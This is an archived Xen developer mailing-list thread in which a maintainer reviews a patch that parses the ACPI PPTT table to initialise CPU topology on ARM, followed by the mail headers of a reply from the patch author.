 Fri, 10 Jul 2026 00:55:38 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783670139; x=1784274939; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=WYo+OUr24aWVPKoJ8kThKxFCanctH10WQ5vTFg9f6B4=;
        b=KXyyJC7lwPpYAC0s+B6oXurgorhhbgT9LHHKKe52Nr+YBKvRem3j9tbwinE0tYZxwP
         NOCEJYXQ8+d3qqCS0JVtEKmr8NVMP6aBObvY5zmuIReWbcMwckymawd1asjspll35nAi
         q2n6rPBN4v81aKzkWbwFIqrMH43IqWxRFYE7t6K52akhCXYSouokWfZBCR7eo1UfeDbH
         NfS4h88WZoxFxTHTyQKiuKWUg0blmgU5fMIsU+Z6ioYmif8Xv0q1LUHdF2rH7wcAM/qx
         gZ57J0JYpcPiSL0TNMRy6YF7xPS+sOIu7Zbl4v6l4YfcjBU3n3eDGeeUhtCgTcYYM2Ni
         hCww==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783670139; x=1784274939;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=WYo+OUr24aWVPKoJ8kThKxFCanctH10WQ5vTFg9f6B4=;
        b=Dih/K3LYWxc3k70lJ9caD9v0NmQV0ud5qcUklK3TW0hOwcHTKt0aN1c1lz1x+gND4M
         hJxrHi7hjsy8f22ajS8jH2uluNy7AxRwI+1Wi5rhmvqc8RBZPkMCgC7Xqhpj6t+2QBR2
         tkdIg3LhzryK0uMw9uSLukPftW62nXTvq135Jrjh92Cf4TnNtI0FL1XbBqUvV9bLEm5T
         EHBmAPU5gmTnbN3WiBL3XBnN7uWGpI+QU74Wqbyvqcwk/otXRDhg50hM4UTNGVqeBMK5
         PmAWN635rp4VYiWT/eh1MOuPAHllp0L53tmUJ521wPo4MEBbsTySOLKIKMXePZWHPU/x
         +/qQ==
X-Forwarded-Encrypted: i=1; AHgh+RozHuXT6t8lDaRoPT4SbtkhMp+Wil9gqz7IJCRS3ZbpPyUshlWt4a5Hy0ttVfjlwvaAr9Y4/IX9W8Y=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwuPYmNswK+ThudQ0tM+g7znNX1dGaCQq3VaR+Y72vqL7/oNKor
	l+sl1S6xM07gKvYVrhh1QXSRNjBZdyEGzl1tdMSXuRuP0dm7p3rFmPvwJMoVEO95aecFgnHYiKo
	85YBP7w==
X-Gm-Gg: AfdE7cms60wEH1RVZPZt4Z/N0mK7OJBzYELhIeIYOzucDZeQ9YCcWb8WMIpMhxgooOR
	SXRQs8/2OqZbKqCGX/mqrF5oBLLxfB+oVaUQzDfrLHAZehgjySupNiDYCd3qDQ+LIv29DDuo+7X
	CVSQ04cWu8Ft+hkQA+lHNL33lowD/CaSryW2s/8op7vCMmWV/7JHSTlS0cj7bk8gCrubTslx6nY
	mve1TTdjFmGQnGdG6lCDXv7z2uYniSmgWaBbd+qWdFqLzOm9RD1NRlGJtmZ7ygGM31qIH2RhC2o
	t1UTJrnjotRiih4J1Z04rMJo61s0O+r5oPYV+oaKz2Qiq4pPzS9u5w/eYSRrwh7x3d8kuGWF5nE
	/iQeEFhQ9+EfSl2Mr2swejjygaKUa170517GsTlTxRw9EyEQTb9Sg37tGagi2E5hZGttCYatdIo
	+s4E6s5KkRC205ymFxOhh35CzwqOBPwMr0M1t7ESus+4hYAn4MNoMYVLAfgvaFlGv0bPu7eb5/X
	lZo
X-Received: by 2002:a05:600c:c1d7:20b0:492:68f5:6b30 with SMTP id 5b1f17b1804b1-493e69de0d0mr80750715e9.17.1783670138816;
        Fri, 10 Jul 2026 00:55:38 -0700 (PDT)
Message-ID: <227bbc38-2d32-47c4-94cd-e80c2574f0b6@suse.com>
Date: Fri, 10 Jul 2026 09:55:37 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v5 4/4] arm/acpi: Parse PPTT to initialize CPU topology
To: Hirokazu Takahashi <taka@valinux.co.jp>
Cc: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
 <julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 xen-devel@lists.xenproject.org
References: <20260709220552.646462-1-taka@valinux.co.jp>
 <20260709220552.646462-5-taka@valinux.co.jp>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldW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-purgate-ID: tlsNG-720697/1783670139-B3341A87-28EDA0B2/0/0
X-purgate-type: clean
X-purgate-size: 11784

On 10.07.2026 00:05, Hirokazu Takahashi wrote:
> --- a/xen/drivers/acpi/topology.c
> +++ b/xen/drivers/acpi/topology.c
> @@ -5,18 +5,90 @@
>  #include <xen/cpumask.h>
>  #include <xen/init.h>
>  
> -/*
> - * TODO: Populate the topology information by scanning the ACPI
> - *       PPTT (Processor Properties Topology Table).
> - */
> -void __init acpi_init_cpu_topology(void)
> +uint32_t map_cpu_acpiid[NR_CPUS] __initdata =
> +         { [0 ... NR_CPUS - 1] = INVALID_ACPIID };
> +uint32_t socket_map[NR_CPUS] __initdata;
> +uint32_t cluster_map[NR_CPUS] __initdata;
> +uint32_t core_map[NR_CPUS] __initdata;
> +uint32_t thread_map[NR_CPUS] __initdata;
> +unsigned int __initdata num_sockets;
> +unsigned int __initdata num_clusters;
> +unsigned int __initdata num_cores;

static for almost all of these? And please place __initdata uniformly,
between type and identifier.

For large NR_CPUS this also looks to be adding quite a bit of data. Is all
of this really needed?

Finally please see ./CODING_STYLE as to the use of fixed-width types.

> +static unsigned int __init get_logical_id(uint32_t phys_offset,
> +                                          uint32_t *map,
> +                                          unsigned int *count)
> +{
> +    unsigned int id;
> +
> +    for ( id = 0; id < *count; id++ )
> +        if ( map[id] == phys_offset )
> +            return id;
> +
> +    map[*count] = phys_offset;
> +    id = *count;
> +    (*count)++;

Imo better as either

    id = (*count)++;

(or yet more simply

    return (*count)++;

) or

    id = *count;
    ++*count;

> +    return id;
> +}
> +
> +static struct acpi_pptt_processor *__init find_pptt_node(
> +       const struct acpi_table_header *table_hdr, unsigned int acpi_id)

Nit: Bad indentation; should be identical to ...

> +{
> +    const struct acpi_subtable_header *entry;
> +    unsigned long table_end;
> +    const char *ptr;

... that of function-scope local variables.

> +    if ( !table_hdr )
> +        return NULL;

Isn't this dead code?

> +    table_end = (unsigned long)table_hdr + table_hdr->length;
> +
> +    ptr = (const char *)table_hdr + sizeof(struct acpi_table_pptt);

There's way too much casting and other type-unsafe code in the function. For
example, if the caller passed the full const struct acpi_table_pptt * into
here, the above (ptr being const void *) could become

    ptr = pptt + 1;

> +    while ( (unsigned long)ptr + sizeof(struct acpi_subtable_header)
> +            <= table_end )
> +    {
> +        entry = (const struct acpi_subtable_header *)ptr;

Then no cast would be needed here either.

> +        if ( entry->length == 0 )
> +        {
> +            printk(XENLOG_ERR
> +                   "ACPI: PPTT has an invalid zero-length subtable.\n");
> +            break;
> +        }
> +
> +        if ( (unsigned long)ptr + entry->length > table_end )
> +        {
> +            printk(XENLOG_ERR
> +                   "ACPI: PPTT subtable extends beyond table end.\n");
> +            break;
> +        }
> +
> +        if ( entry->type == ACPI_PPTT_TYPE_PROCESSOR )
> +            if ( entry->length >= sizeof(struct acpi_pptt_processor) )

Please fold two if()s like these ones. Then again - isn't there an "else"
wanted for the inner if()? It doesn't look appropriate to continue the
loop when the length doesn't fit the type.

> +            {
> +                struct acpi_pptt_processor *proc =
> +                       (struct acpi_pptt_processor *)entry;

Please use container_of(). That'll (I think) also avoid you casting away
const-ness (which Misra objects to for a good reason).

> @@ -30,6 +102,148 @@ void __init acpi_init_cpu_topology(void)
>      }
>  }
>  
> +/*
> + * Populate the topology information by scanning the ACPI PPTT
> + * (Processor Properties Topology Table).
> + */
> +void __init acpi_init_cpu_topology(void)
> +{
> +    acpi_status status;
> +    struct acpi_table_header *header;
> +    const struct acpi_table_pptt *pptt;
> +    unsigned int cpu;
> +
> +    status = acpi_get_table(ACPI_SIG_PPTT, 0, &header);
> +    if ( ACPI_FAILURE(status) )
> +    {
> +        printk(XENLOG_WARNING
> +               "ACPI: PPTT table not found. Topology fallback will be used.\n");
> +        setup_fake_topology();
> +        return;
> +    }
> +
> +    pptt = (struct acpi_table_pptt *)header;

Again container_of() please.

> +    for_each_possible_cpu(cpu)
> +    {
> +        unsigned int acpi_id = map_cpu_acpiid[cpu];
> +        struct cpu_topology *topo = &cpu_topology[cpu];
> +        const struct acpi_pptt_processor *proc;
> +        unsigned int level = 0;
> +        uint32_t thread_offset = 0;
> +        uint32_t core_offset = 0;
> +        uint32_t cluster_offset = 0;
> +        uint32_t socket_offset = 0;
> +        bool threading = true;
> +
> +        proc = find_pptt_node(&pptt->header, acpi_id);
> +        if ( !proc )
> +        {
> +            printk(XENLOG_WARNING
> +                   "ACPI: No PPTT leaf node for CPU %u (ACPI ID 0x%u)\n",
> +                   cpu, acpi_id);
> +            continue;
> +        }
> +
> +        while ( proc )
> +        {
> +            if ( proc->flags & ACPI_PPTT_PHYSICAL_PACKAGE )
> +            {
> +                socket_offset = (char *)proc - (char *)pptt;
> +                break;
> +            }
> +            else if ( level == 0 )
> +                /*
> +                 * ACPI_PPTT_PROCESSOR_IS_THREAD is supported in PPTT
> +                 * revision 2 and later.
> +                 */
> +                if ( proc->flags & ACPI_PPTT_ACPI_PROCESSOR_IS_THREAD )
> +                    thread_offset = (char *)proc - (char *)pptt;

This variable is only ever set, never read.

Also I think casts to const void * are to be preferred for code like this
(if such offset calculations are needed in the first place). Or casts to
unsigned long.

> +                else
> +                {
> +                    /* Assume no threading support when PPTT revision is 1. */
> +                    threading = false;
> +                    core_offset = (char *)proc - (char *)pptt;
> +                }
> +            else if ( level == 1 )
> +                if ( threading )
> +                    core_offset = (char *)proc - (char *)pptt;
> +                else
> +                    cluster_offset = (char *)proc - (char *)pptt;
> +            else if ( level == 2 )
> +                if ( threading )
> +                    cluster_offset = (char *)proc - (char *)pptt;

PLease add braces to separate inner if/else from outer ones.

> +            if ( proc->parent )
> +            {
> +                proc = (const struct acpi_pptt_processor *)
> +                       ((char *)pptt + proc->parent);
> +                level++;
> +            }
> +            else
> +                break;
> +        }
> +
> +        topo->phys_socket_id =
> +            get_logical_id(socket_offset, socket_map, &num_sockets);
> +        topo->phys_cluster_id =
> +            get_logical_id(cluster_offset, cluster_map, &num_clusters);
> +        topo->phys_core_id =
> +            get_logical_id(core_offset, core_map, &num_cores);

What if any of the ..._offset is still 0?

> +        /* Fall back to socket ID if PPTT lacks cluster information. */
> +        if ( topo->phys_cluster_id == 0 )
> +            topo->phys_cluster_id = topo->phys_socket_id;

Why would 0 indicate the absence of cluster information? Isn't it
cluster_offset being 0 which does so?

> +    }
> +
> +    for_each_possible_cpu(cpu)
> +    {
> +        struct cpu_topology *topo = &cpu_topology[cpu];
> +        unsigned int tcpu;
> +
> +        for_each_possible_cpu(tcpu)
> +        {
> +            struct cpu_topology *ttopo = &cpu_topology[tcpu];
> +
> +            if ( cpu > tcpu )
> +                continue;
> +
> +            if ( topo->phys_core_id == ttopo->phys_core_id )
> +            {
> +                cpumask_set_cpu(tcpu, topo->thread_sibling);
> +                cpumask_set_cpu(cpu, ttopo->thread_sibling);
> +            }
> +
> +            if ( topo->phys_cluster_id == ttopo->phys_cluster_id )
> +            {
> +                cpumask_set_cpu(tcpu, topo->cluster_sibling);
> +                cpumask_set_cpu(cpu, ttopo->cluster_sibling);
> +            }
> +
> +            if ( topo->phys_socket_id == ttopo->phys_socket_id )
> +            {
> +                cpumask_set_cpu(tcpu, topo->core_sibling);
> +                cpumask_set_cpu(cpu, ttopo->core_sibling);
> +            }
> +        }
> +
> +        topo->num_siblings = cpumask_weight(topo->thread_sibling);
> +    }
> +
> +    for_each_possible_cpu(cpu)
> +    {
> +        const struct cpu_topology *topo = &cpu_topology[cpu];
> +
> +        printk(XENLOG_DEBUG
> +               "ACPI: acpi_id[%u] CPU-%u Socket-%u Cluster-%u Core-%u\n",
> +               map_cpu_acpiid[cpu],
> +               cpu,
> +               topo->phys_socket_id,
> +               topo->phys_cluster_id,
> +               topo->phys_core_id);
> +    }

Is this meant to stay? It can be a lot of output with many CPUs.

> --- a/xen/include/acpi/actbl3.h
> +++ b/xen/include/acpi/actbl3.h
> @@ -72,6 +72,7 @@
>  
>  #define ACPI_SIG_S3PT           "S3PT"	/* S3 Performance (sub)Table */
>  #define ACPI_SIG_PCCS           "PCC"	/* PCC Shared Memory Region */
> +#define ACPI_SIG_PPTT           "PPTT"	/* Processor Properties Topology Table */
>  
>  /* Reserved table signatures */
>  
> @@ -637,6 +638,35 @@ struct acpi_table_stao {
>  	u8 ignore_uart;
>  };
>  
> +/*******************************************************************************
> + *
> + * PPTT - Processor Properties Topology Table - ACPI 6.3
> + *        Version 1
> + *
> + ******************************************************************************/
> +struct acpi_table_pptt {
> +    struct acpi_table_header header;
> +};
> +
> +#define ACPI_PPTT_TYPE_PROCESSOR            0
> +#define ACPI_PPTT_TYPE_CACHE                1
> +#define ACPI_PPTT_TYPE_ID                   2
> +
> +struct acpi_pptt_processor {
> +    struct acpi_subtable_header header;
> +    u16 reserved;
> +    u32 flags;
> +    u32 parent;
> +    u32 acpi_processor_id;
> +    u32 number_of_priv_resources;
> +};
> +
> +#define ACPI_PPTT_PHYSICAL_PACKAGE          (1)
> +#define ACPI_PPTT_ACPI_PROCESSOR_ID_VALID   (1 << 1)
> +#define ACPI_PPTT_ACPI_PROCESSOR_IS_THREAD  (1 << 2)  /* ACPI 6.3 */
> +#define ACPI_PPTT_ACPI_LEAF_NODE            (1 << 3)  /* ACPI 6.3 */
> +#define ACPI_PPTT_ACPI_IDENTICAL            (1 << 4)  /* ACPI 6.3 */
> +
>  /* Reset to default packing */
>  
>  #pragma pack()

Linux, which presumably still takes it from ACPI CA, has this in actbl2.h.
Please match placement as closely as possible. Ideally take (as a separate,
prereq patch) the Linux commit(s) adding the definitions. See
docs/process/sending-patches.pandoc for formal aspects of doing so.

> --- a/xen/include/xen/acpi.h
> +++ b/xen/include/xen/acpi.h
> @@ -139,8 +139,16 @@ static inline int acpi_boot_table_init(void)
>  
>  void acpi_init_cpu_topology(void);
>  
> +extern uint32_t map_cpu_acpiid[NR_CPUS];

Since this is __initdata, imo ...

> +static inline void acpi_map_cpu_acpiid(unsigned int cpu, uint32_t acpi_id)

... this would better be annotated __init as well, even if for an inline
function that's unlikely to take any effect. Other than the important one
here: Documentation.

Jan


From xen-devel-bounces@lists.xenproject.org Fri Jul 10 07:57:21 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 07:57:21 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358858.1612733 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi66q-0005F5-Il; Fri, 10 Jul 2026 07:57:20 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358858.1612733; Fri, 10 Jul 2026 07:57:20 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi66q-0005Ey-F5; Fri, 10 Jul 2026 07:57:20 +0000
Received: by outflank-mailman (input) for mailman id 1358858;
 Fri, 10 Jul 2026 07:57:19 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1wi66p-0005Es-00
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 07:57:19 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wi66n-00G9Qc-Pc
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 09:57:17 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a50a5d9-5cb7-0a2a0a5109dd-0a2a4505a732-28
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 09:57:17 +0200
Received: from [52.101.125.91]
 (helo=TYVP286CU001.outbound.protection.outlook.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <taka@valinux.co.jp>)
 id 6a50a5da-4f1d-0a2a45050019-34657d5b9714-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 09:57:16 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by TY4P286MB6288.JPNP286.PROD.OUTLOOK.COM (2603:1096:405:332::5) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.17; Fri, 10 Jul
 2026 07:57:09 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0181.016; Fri, 10 Jul 2026
 07:57:09 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=fkZili+YsvbUXTZfE1HLH47odFwZNVAwU6o89DB36czJdE35HWIVGv9cTapDFL/3xongNU6cXkZH7zHxBrhLp+c7CjOTIYC3QguX7lhMxE5lw4llUX5FNdBG827g2WLHegMPH1d1O85sHWXSreIPmGNfgraPVrF48pIV1AozuW3FgGPi9XcCMyncklQcnUv/s7vageXZYRlkr9Ex13z+sEjaiLZnxGw06S6TgqXZd3rXJtWN0bbzVUU2T/zGHxqPJ2fSQtm+85M2DBUnJ88nfr43F52YXSSHZaVQx7q9lDYaysX/XhlgB15IRp6qXFxW359OgcvZ2hQJxzyQRnx8bQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=WUjxcg8ljp7x7N7BOOfF25+5H+4safU3iatwgkFjZc4=;
 b=kA9+s2QY2rMYx3VkhQPiIvRdCcxRhYLR3DikeBQ1hAmO9nx/CQcn/3KjZHXZbFuV7ZS1DR3ecXQUpUKCtrG/++nNNcQPSoyvdAKT97D5HeGYjv5mNPDh0Z8QBwwZxOSd5mMclmX6HqPC1oR3OJbEloHW/8PDU0t024FYOdwDlCM6C4YS29mymSLIwSJr2LFoA1FChldEBR7beTRRbGXJqaMVcGCFh3muLnkNOtesOvtN/CoJtq8cWYIr41cw5bA9Dl+C6Pv/PJu/5aJwe1scJuV2FeV7k0XIzFb3HgFl0zwzkuKh7i4QhW0+/1U1qRq0HSWU+REt0EjiSrRbtSABsw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=WUjxcg8ljp7x7N7BOOfF25+5H+4safU3iatwgkFjZc4=;
 b=UwwSG76ZEyMUaGO5HiqOKGa3CRfyKnZ0RfMLwiTwEHKfc77U2BiD3Ng+whr/m8YO9la1pkyJGJ9p7kMsQXXh8UGNgic4onPYaxda9HuxSyqnSPIwG8eyxPqrh4tEgTsirKFs+hSOYerby+mEjDSK+G33tBUmjhYTpYtyL2JZrkY=
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: Jan Beulich <jbeulich@suse.com>
CC: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
	<julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>, Michal Orzel
	<michal.orzel@amd.com>, Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>, Anthony PERARD
	<anthony.perard@vates.tech>, =?utf-8?B?Um9nZXIgUGF1IE1vbm7DqQ==?=
	<roger.pau@citrix.com>, "xen-devel@lists.xenproject.org"
	<xen-devel@lists.xenproject.org>
Subject: RE: [PATCH v5 1/4] xen/device-tree: Parse 'cpu-map' node for CPU
 topology exploration
Thread-Topic: [PATCH v5 1/4] xen/device-tree: Parse 'cpu-map' node for CPU
 topology exploration
Thread-Index: AQHdD+8qCEcYr5xaQEuU6MvjqTt1ZLZmWryAgAAAb0A=
Date: Fri, 10 Jul 2026 07:57:09 +0000
Message-ID:
 <OS9P286MB7222926F2CD3A2E43ABCAC2582FD2@OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM>
References: <20260709220552.646462-1-taka@valinux.co.jp>
 <20260709220552.646462-2-taka@valinux.co.jp>
 <0fe60f59-ce48-4d0f-96f7-16bbae05a81f@suse.com>
In-Reply-To: <0fe60f59-ce48-4d0f-96f7-16bbae05a81f@suse.com>
Accept-Language: ja-JP, en-US
Content-Language: ja-JP
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: OS9P286MB7222:EE_|TY4P286MB6288:EE_
x-ms-office365-filtering-correlation-id: e1092a2d-1dea-460e-da7c-08dede58d804
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|366016|23010399003|376014|7416014|1800799024|56012099006|4143699003|22082099003|18002099003|38070700021;
x-microsoft-antispam-message-info:
 Jmsw3TTmSt/VYtGHfmQUeOafr2Qnlao6mg47ufidi9j/xRGKnFpHg9udxuTIdtQMmsIZYgtvczbEVoiEeLZssrmUe9ODRcJkKOOMHIMo5IbPdop3yOl8fGOOyaBpCMwF8Wodc70PRI3Jw5UI53wLZulmjePBZS/4ETaZDb8nhLAj5zI0xhsj4BrgR7kukB0zlVhfVpnVdrbGfIRraFBLo2WLOJmn5x/Qd4V7TAvC3N0SfcirIKhFD0E1L4AbaZ1n0wcFQjLqf3C4naZXYJZjgeaYcjuAkHVyCroBKEiaRHEV2emwi//qo29oXyJnJzkaTwaGaF+3CXkjlt26jFyYHR81SQXuv1e8A+z0em2De3l5Q7mj+yneHGx/2wMvK4W4hyD0kJfSxjst/DRItPHrivkaVsvahZqRiNTHixQKSk2L8a1gaWZtM0AsW0+SiIMWDLsYwxS3/6wKx8zfNzaOoK6R8kSpcHdxA5JkniflvQDKBZJbIOInTikLMcwmVpHnvj2KPb1mWHMBKSRhec9Gx8JeqtF8cmMNc4sXk1/8vvplywz0GayoWHrUpBrPUrvAsT0PBpgnhRKfw+0SozutPUVDPSDTcz+N7O0/YOWqEabC4wknNKRGz3lStBdFaY/ROhyMDgYklHvdtn/WxwWGkjLMT2pyYVGNWTIE4sB+La1ZLU4LOQauPknHaOR/7pGKaDflMszsQ64XafyUfsoVL5WYpeHcultJFmb8Nt4MNBM=
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:ja;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(366016)(23010399003)(376014)(7416014)(1800799024)(56012099006)(4143699003)(22082099003)(18002099003)(38070700021);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?utf-8?B?MHJ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R0g3UEJn?=
 =?utf-8?B?UFBkclpBWUp4R2xLQWM0bC9hOENNR3NPTjg2dzd4MTByTERoQ3UvSmxHV2Nj?=
 =?utf-8?B?N1F2MmxXdWZPOGdtOTVabXZ5ZlltdGw5MjYwTUNBNmtBdjNzcUZYM3dYOVh0?=
 =?utf-8?B?aFl0bVJWRGhaMFVjYnROMnpGVzVoNW1VbWE2SjBYWlg5NTBBMjVmeTVrQW5K?=
 =?utf-8?B?YmJHZ3lzMG5Fb3crY1ltL1VqUWpXRE94U3l1ZXlSSWZyRFdhSFFseXcxL0RR?=
 =?utf-8?B?bHpEdE1RM3U5OXMzSGlrS2M4RHRHbmdLL2VhL1lKVm1oQm9VSHdOaFp0UmZs?=
 =?utf-8?B?dkJ3KzdJVXFWeThuQ005dm5GVUZiZ2lSMFRGQmM4Q3lkdytTR1V6UkVmRjFm?=
 =?utf-8?B?cFdjSGF4QkFhUllwbDJWeXY2b3czMTUweFJSNTZMSmZ1U0dVZlVwUHJUeXhS?=
 =?utf-8?B?aU80eXBmcHhYaVlyOGlZeUlLUCtMdXZYVGRlTHlNTmdrdGduSjdSd3hXWmpG?=
 =?utf-8?B?WEloS054dDhUSVFIVlJLN2N2SnQvTEtkbHJ3MnhxNEZab0RyenNURzZpN1NZ?=
 =?utf-8?Q?Xj+w+KoKOOKuc35DNM?=
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
MIME-Version: 1.0
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-Network-Message-Id: e1092a2d-1dea-460e-da7c-08dede58d804
X-MS-Exchange-CrossTenant-originalarrivaltime: 10 Jul 2026 07:57:09.4998
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: YQU/oJSybXGiKwADpRGgZy+rGuRJG9vjOOGA/vNjooGe9SAKAKC6uvuDYfXdi9WJaP6vE/O7FRGxT35uAO+Crw==
